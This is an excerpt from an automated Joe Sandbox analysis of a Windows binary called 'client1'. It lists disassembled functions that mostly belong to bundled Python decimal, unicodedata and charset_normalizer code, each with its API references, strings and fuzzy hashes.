Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: __acrt_iob_func$FreeMem_abortfputc
String ID: %s:%d: error: $D:\a\1\s\Modules\_decimal\libmpdec\typearith.h$sub_size_t(): overflow: check the context
API String ID: 1022196523-3533778181
Opcode ID: 713d784ae3a83d11bb089b661ef9a5180dbe69352fb1f5020284205daa2a53dc
Instruction ID: 23d7d0f01ad5040523459ac0ba29f26cc018edbdd22928d424a37448bc172023
Opcode Fuzzy Hash: 713d784ae3a83d11bb089b661ef9a5180dbe69352fb1f5020284205daa2a53dc
Instruction Fuzzy Hash: 8FD1F4A671AAC5C1DA118F25E8043AEA7A9FB45FD4F505139EE5E07B98DF3CD00ACB10

Function 00007FFBAA731090 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA7310BD
PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA7310D5
PyType_IsSubtype.PYTHON311 ref: 00007FFBAA7310FD

Part of subcall function 00007FFBAA7311D0: PyMem_Malloc.PYTHON311 ref: 00007FFBAA731252
Part of subcall function 00007FFBAA7311D0: PyMem_Free.PYTHON311 ref: 00007FFBAA73136E

PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA73366E

Strings

NFD, xrefs: 00007FFBAA733664
NFC, xrefs: 00007FFBAA7310B3
invalid normalization form, xrefs: 00007FFBAA7336F6
NFKC, xrefs: 00007FFBAA7310CB
NFKD, xrefs: 00007FFBAA7336A6

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: CompareStringUnicode_With$Mem_$FreeMallocSubtypeType_
String ID: NFC$NFD$NFKC$NFKD$invalid normalization form
API String ID: 1723213316-3528878251
Opcode ID: c1d1483b359176232031dcda17eceefdd4cd98cc21702f49892afc3e67e82068
Instruction ID: af4114e61f3ef657fcc55b71313d3877c3ec003943eb8c266566d90e366ea733
Opcode Fuzzy Hash: c1d1483b359176232031dcda17eceefdd4cd98cc21702f49892afc3e67e82068
Instruction Fuzzy Hash: BA515CE1B0E252C5FE66AF36E8146BB5358AB41BC4F1650B1DE5E47B81CE6DE4038730

Function 00007FFBAB496910 Relevance: 18.1, APIs: 12, Instructions: 90threadCOMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON311 ref: 00007FFBAB49691D
_PyTrash_cond.PYTHON311 ref: 00007FFBAB49692F
PyThreadState_Get.PYTHON311 ref: 00007FFBAB496939
_PyTrash_begin.PYTHON311 ref: 00007FFBAB496948
_Py_Dealloc.PYTHON311 ref: 00007FFBAB496974
_Py_Dealloc.PYTHON311 ref: 00007FFBAB496998
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4969BC
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4969E0
_Py_Dealloc.PYTHON311 ref: 00007FFBAB496A04
_Py_Dealloc.PYTHON311 ref: 00007FFBAB496A21
_Py_Dealloc.PYTHON311 ref: 00007FFBAB496A45
_PyTrash_end.PYTHON311 ref: 00007FFBAB496A60

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Object_State_ThreadTrackTrash_beginTrash_condTrash_end
String ID:
API String ID: 227901110-0
Opcode ID: 61ecb8ec4c46b4e4f4ecd4b2a13dbf42c93996b23c02d945c2fc6fa1b127df7b
Instruction ID: 1005aeda6381ab8bb9db2ae95004e7ecf71a8ca8cdfb4fb30f9a5561881e5087
Opcode Fuzzy Hash: 61ecb8ec4c46b4e4f4ecd4b2a13dbf42c93996b23c02d945c2fc6fa1b127df7b
Instruction Fuzzy Hash: 5441B5B2A0AA4281F75A8F39D99833C66A4AF55B78F198334CE7A016F4CF7DD4858340

Function 00007FFBAA6F6720 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

_Py_HashPointer.PYTHON311 ref: 00007FFBAA6F69A5

Part of subcall function 00007FFBAA6F2810: PyMem_Malloc.PYTHON311(?,?,00000030,00007FFBAA7178ED), ref: 00007FFBAA6F283F
Part of subcall function 00007FFBAA6F2810: PyMem_Malloc.PYTHON311(?,?,00000030,00007FFBAA7178ED), ref: 00007FFBAA6F2861

PyMem_Free.PYTHON311 ref: 00007FFBAA6F693C
PyMem_Free.PYTHON311 ref: 00007FFBAA6F6955
PyMem_Free.PYTHON311 ref: 00007FFBAA6F6963
PyMem_Free.PYTHON311 ref: 00007FFBAA6F697F
PyErr_SetString.PYTHON311 ref: 00007FFBAA6F69D5

Part of subcall function 00007FFBAA6FEF80: memmove.VCRUNTIME140(?,?,?,00007FFBAA711067), ref: 00007FFBAA6FEFE2

Part of subcall function 00007FFBAA6F7250: PyMem_Free.PYTHON311 ref: 00007FFBAA6F72FB

PyErr_NoMemory.PYTHON311 ref: 00007FFBAA6F69E1

Strings

Cannot hash a signaling NaN value, xrefs: 00007FFBAA6F69CB
dec_hash: internal error: please report, xrefs: 00007FFBAA711C35

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Mem_$Free$Err_Malloc$HashMemoryPointerStringmemmove
String ID: Cannot hash a signaling NaN value$dec_hash: internal error: please report
API String ID: 1495275932-4146688941
Opcode ID: 9cd366ce8fd8d8fd14b5555d2db204c7b314a9157a77afb81d300cd1b69b7d69
Instruction ID: 0032b98332a343e77d6af286a462337750181997de613f6c749e515e1823977b
Opcode Fuzzy Hash: 9cd366ce8fd8d8fd14b5555d2db204c7b314a9157a77afb81d300cd1b69b7d69
Instruction Fuzzy Hash: 868184A6E0AB82C5E7128F78D8002ED67A8EB45B68F001275DE9D167D5DF3CD10AC760

Function 00007FFBAB4960D0 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB49AD2C
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB49AD4E
PyNumber_TrueDivide.PYTHON311 ref: 00007FFBAB49AD66
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49AD78
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49AD87
PyType_IsSubtype.PYTHON311 ref: 00007FFBAB49ADCD

Strings

float, xrefs: 00007FFBAB49ADE7
charset_normalizer.md.SuspiciousRange, xrefs: 00007FFBAB49AEC0
ratio, xrefs: 00007FFBAB49AD99, 00007FFBAB49ADFE
__init__, xrefs: 00007FFBAB49AE59, 00007FFBAB49AED3

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocFromLong_Ssize_t$DivideNumber_SubtypeTrueType_
String ID: __init__$charset_normalizer.md.SuspiciousRange$float$ratio
API String ID: 2782116801-2445630910
Opcode ID: 39bcd692bf62b8ccf14792af55592120cc0fe07b66120c3091a3aed187f41179
Instruction ID: 53cb9f83177879f6fe3a9c750c2ebdeff5653530d0c7da3e14f2b9ed19d0e214
Opcode Fuzzy Hash: 39bcd692bf62b8ccf14792af55592120cc0fe07b66120c3091a3aed187f41179
Instruction Fuzzy Hash: 04516AA2A0BA5681FA169B36E88427D63A1EF44BD4F088235DE3D077F5DF2CE4518340

Function 00007FFBAA701D94 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA701DFB
_Py_Dealloc.PYTHON311 ref: 00007FFBAA701F1A
_Py_Dealloc.PYTHON311 ref: 00007FFBAA701F2E
_Py_Dealloc.PYTHON311 ref: 00007FFBAA701F3B
_Py_Dealloc.PYTHON311 ref: 00007FFBAA701F49

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

Strings

OO|O, xrefs: 00007FFBAA701DD0

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatKeywordsParseSubtypeTupleType_
String ID: OO|O
API String ID: 3104664702-4229707633
Opcode ID: 0cba03fe7f2ceab621f130fc5033cb01ca08e311b7ab0defd7ba7ba9bc906242
Instruction ID: 6301a3ee833c56ab894053c370bc4801e96738f3d0f5e5703c0333896ba90679
Opcode Fuzzy Hash: 0cba03fe7f2ceab621f130fc5033cb01ca08e311b7ab0defd7ba7ba9bc906242
Instruction Fuzzy Hash: 03511BB2E1AA12D5EB128F71D8404BE37B8BB45B98B4404B2DE4D23A94DF3DE547C760

Function 00007FFBAA700FA0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA701005
PyErr_SetString.PYTHON311 ref: 00007FFBAA701189

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA701109
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70115A
_Py_Dealloc.PYTHON311 ref: 00007FFBAA714565

Strings

O|OO, xrefs: 00007FFBAA700FD0
internal error in dec_mpd_qquantize, xrefs: 00007FFBAA714578
optional argument must be a context, xrefs: 00007FFBAA70117F

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: O|OO$internal error in dec_mpd_qquantize$optional argument must be a context
API String ID: 3219279049-2753496222
Opcode ID: 3415ee9708b1d50977dc94845924ca4995d6baaadcc99fc1e813adf81667f348
Instruction ID: 26c3a6c392c89e0df1006d6d764b39f91ae2f8897acae99f3d38f91a0d990c5e
Opcode Fuzzy Hash: 3415ee9708b1d50977dc94845924ca4995d6baaadcc99fc1e813adf81667f348
Instruction Fuzzy Hash: 57616FB2A0AA42E5EB168F71D8401FE37A8EB54B88F4040B2DE4D53764DF3DE646C360

Function 00007FF79F622030 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF79F62205B
SelectObject.GDI32 ref: 00007FF79F6220A2
DrawTextW.USER32 ref: 00007FF79F6220C5
SelectObject.GDI32 ref: 00007FF79F6220DB
ReleaseDC.USER32 ref: 00007FF79F6220EB
MoveWindow.USER32 ref: 00007FF79F62213B
MoveWindow.USER32 ref: 00007FF79F62217B
MoveWindow.USER32 ref: 00007FF79F6221CE
MoveWindow.USER32 ref: 00007FF79F622216

Strings

P%, xrefs: 00007FF79F6220AF

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 2abf96d7e756ec95747b6225775113f5ca3bbb9c1d9d148edce5ba3104c9dbe9
Instruction ID: 1fb5cea2d22745308a5aad75a2ecaaeb968f502ae9f829d35afa07a1d340ab56
Opcode Fuzzy Hash: 2abf96d7e756ec95747b6225775113f5ca3bbb9c1d9d148edce5ba3104c9dbe9
Instruction Fuzzy Hash: 2D5106266187E186E634AF32A4581FAF7A2F798B65F004121EFDE83684DF3CD045DB20

Function 00007FFBAA734600 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 62COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON311 ref: 00007FFBAA734633
_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA734668
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA734678
_PyUnicode_ToDigit.PYTHON311 ref: 00007FFBAA73469D
PyErr_SetString.PYTHON311 ref: 00007FFBAA7346BD

Strings

digit, xrefs: 00007FFBAA73462C, 00007FFBAA73465A
argument 1, xrefs: 00007FFBAA734661
not a digit, xrefs: 00007FFBAA7346B3
a unicode character, xrefs: 00007FFBAA734653

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Arg_Unicode_$ArgumentCheckDigitErr_PositionalReadyString
String ID: a unicode character$argument 1$digit$not a digit
API String ID: 3305933226-4278345224
Opcode ID: f3312c4d2492d42c6bf8c5b24e15dccd6aa38fe551f57dd252bb694573ee7750
Instruction ID: b20fe5eff156fbe2fee40ebc968d3767c6d1c94d8df14538aedae09aaf6c8af9
Opcode Fuzzy Hash: f3312c4d2492d42c6bf8c5b24e15dccd6aa38fe551f57dd252bb694573ee7750
Instruction Fuzzy Hash: 08218CB1B0AA53D2EB16AF32D85417A2368BF44B89F4645B5CE0E46264DF2DE457C330

Function 00007FFBAB4A29B0 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFBAB4A29D8
__scrt_initialize_crt.LIBCMT ref: 00007FFBAB4A2A1D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFBAB4A2A2A
_RTC_Initialize.LIBCMT ref: 00007FFBAB4A2A58
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFBAB4A2A7E
__scrt_release_startup_lock.LIBCMT ref: 00007FFBAB4A2AA9

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 30123b31d54eba71cecac4d279342515692546ad710b5d5dc74d29f4614bb669
Instruction ID: ec64c0bf32b8e81bb9d94830b523f86dca5cfa8dfda7c264d2e05600fafe0711
Opcode Fuzzy Hash: 30123b31d54eba71cecac4d279342515692546ad710b5d5dc74d29f4614bb669
Instruction Fuzzy Hash: 26819CE1E0E60746FA629B37E8412B96290BF45B80F54C03DEE2D477F6EE3CE545A600

Function 00007FFBAA732730 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFBAA732758
__scrt_initialize_crt.LIBCMT ref: 00007FFBAA73279D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFBAA7327AA
_RTC_Initialize.LIBCMT ref: 00007FFBAA7327D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFBAA7327FE
__scrt_release_startup_lock.LIBCMT ref: 00007FFBAA732829

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 5ae4ae1fad975d5487a8dd9099fd26104a61e4c8513e68d9fc499fd676c40ec1
Instruction ID: b56236f85bf7ec83d5341aca54663dfa9ba4c76fcaf2bae711415843475032d1
Opcode Fuzzy Hash: 5ae4ae1fad975d5487a8dd9099fd26104a61e4c8513e68d9fc499fd676c40ec1
Instruction Fuzzy Hash: 3081ACE1F0E643C6F662BF35D4412BB2298AF65B80F5680B4DE5D43296DE2CE8438270

Function 00007FFBAA7102BC Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFBAA7102E4
__scrt_initialize_crt.LIBCMT ref: 00007FFBAA710329
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFBAA710336
_RTC_Initialize.LIBCMT ref: 00007FFBAA710364
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFBAA71038A
__scrt_release_startup_lock.LIBCMT ref: 00007FFBAA7103B5

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 8fdea0d8443a6b9b330cb3d9146a51b2e9accca18b067a2d28c1da896e43d931
Instruction ID: 6df94a2f7a867c9482bea5c048d1fd4eb3c3d5c7d48a472f0e8386e6b215be2c
Opcode Fuzzy Hash: 8fdea0d8443a6b9b330cb3d9146a51b2e9accca18b067a2d28c1da896e43d931
Instruction Fuzzy Hash: 25817CA0E8A243C6FAD2AF75D4412BB2AE8AF45784F4440B7DD4C432B6DE2DE5478620

Function 00007FFBAA6F6AEC Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 366COMMON

Download Yara Rule

Strings

0, xrefs: 00007FFBAA6F6B48

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 0ce1461ff97c1f48a618c09c0e633b192046d2d262033628e20b7d6151c51586
Instruction ID: 1dbfd1259a43a40488a3e2995844c24201f04f04e87522dddb70d2d837d60334
Opcode Fuzzy Hash: 0ce1461ff97c1f48a618c09c0e633b192046d2d262033628e20b7d6151c51586
Instruction Fuzzy Hash: 5B02A4A2A1ABC2C5E7128F34D8006FD6BA8FB85B48F405166EE8D17A59DF3CD54AC710

Function 00007FFBAA6FE060 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

_PyObject_New.PYTHON311 ref: 00007FFBAA6FE0E4
PyErr_SetString.PYTHON311 ref: 00007FFBAA713B4F

Strings

internal error in flags_as_exception, xrefs: 00007FFBAA713AE3
argument must be an integer, xrefs: 00007FFBAA713B45

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Err_Object_String
String ID: argument must be an integer$internal error in flags_as_exception
API String ID: 2350702593-646087525
Opcode ID: b1ebc4cfc559732fde4e5c874c2879e41a62093b1e3c617a2f1e9a70dde39ee1
Instruction ID: b751286602e9c444929020d0c5586087394fc80424edc13e6a268449cc79e1c6
Opcode Fuzzy Hash: b1ebc4cfc559732fde4e5c874c2879e41a62093b1e3c617a2f1e9a70dde39ee1
Instruction Fuzzy Hash: 01B19FB2A0A742C5EF66CF29D8503BE3AA9EB41B40F500472DE4E46794DF7CD48AC761

Function 00007FFBAA6F5898 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 220COMMON

Download Yara Rule

APIs

